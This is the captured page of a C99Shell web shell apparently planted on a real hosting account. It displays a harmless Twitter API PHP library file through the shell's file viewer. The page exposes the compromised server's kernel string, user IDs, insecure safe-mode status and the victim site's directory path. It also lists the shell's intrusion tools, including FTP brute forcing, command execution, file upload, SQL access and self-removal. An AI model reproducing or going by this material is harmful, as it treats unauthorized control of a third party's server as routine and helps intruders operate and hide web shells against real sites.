!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/vendor/rs-plugin/php/twitter/   drwxr-xr-x
Free 235.72 GB of 981.82 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RestApi.php (2.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @author   Albert Kozlowski <vojant@gmail.com>
 * @license  MIT License
 * @link     https://github.com/vojant/Twitter-php
 */

namespace TwitterPhp;

use \
TwitterPhp\Connection\Application;
use \
TwitterPhp\Connection\User;

require_once 
'connection/ConnectionAbstract.php';
require_once 
'connection/Application.php';
require_once 
'connection/User.php';

/**
 * Class TwitterRestApiException
 */
class RestApiException extends \Exception {};

/**
 * Class RestApi
 * @package TwitterPhp
 */
class RestApi
{
    
/**
     * @var string
     */
    
private $_consumerKey;

    
/**
     * @var string
     */
    
private $_consumerSecret;

    
/**
     * @var string
     */
    
private $_accessToken;

    
/**
     * @var string
     */
    
private $_accessTokenSecret;


    
/**
     * @param string $consumerKey
     * @param string $consumerSecret
     * @param null|string $accessToken
     * @param null|string $accessTokenSecret
     * @throws TwitterRestApiException
     */
    
public function __construct($consumerKey,$consumerSecret,$accessToken null,$accessTokenSecret null)
    {
        if (!
function_exists('curl_init')) {
            throw new 
TwitterRestApiException('You must have the cURL extension enabled to use this library');
        }
        
$this->_consumerKey $consumerKey;
        
$this->_consumerSecret $consumerSecret;
        
$this->_accessToken $accessToken;
        
$this->_accessTokenSecret $accessTokenSecret;
    }

    
/**
     * Connect to Twitter API as application.
     * @link https://dev.twitter.com/docs/auth/application-only-auth
     *
     * @return \TwitterPhp\Connection\Application
     */
    
public function connectAsApplication()
    {
        return new 
Application($this->_consumerKey,$this->_consumerSecret);
    }

    
/**
     * Connect to Twitter API as user.
     * @link https://dev.twitter.com/docs/auth/oauth/single-user-with-examples
     *
     * @return \TwitterPhp\Connection\User
     * @throws TwitterRestApiException
     */
    
public function connectAsUser()
    {
        if (!
$this->_accessToken || !$this->_accessTokenSecret) {
            throw new 
TwitterRestApiException('Missing ACCESS_TOKEN OR ACCESS_TOKEN_SECRET');
        }
        return new 
User($this->_consumerKey,$this->_consumerSecret,$this->_accessToken,$this->_accessTokenSecret);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0236 ]--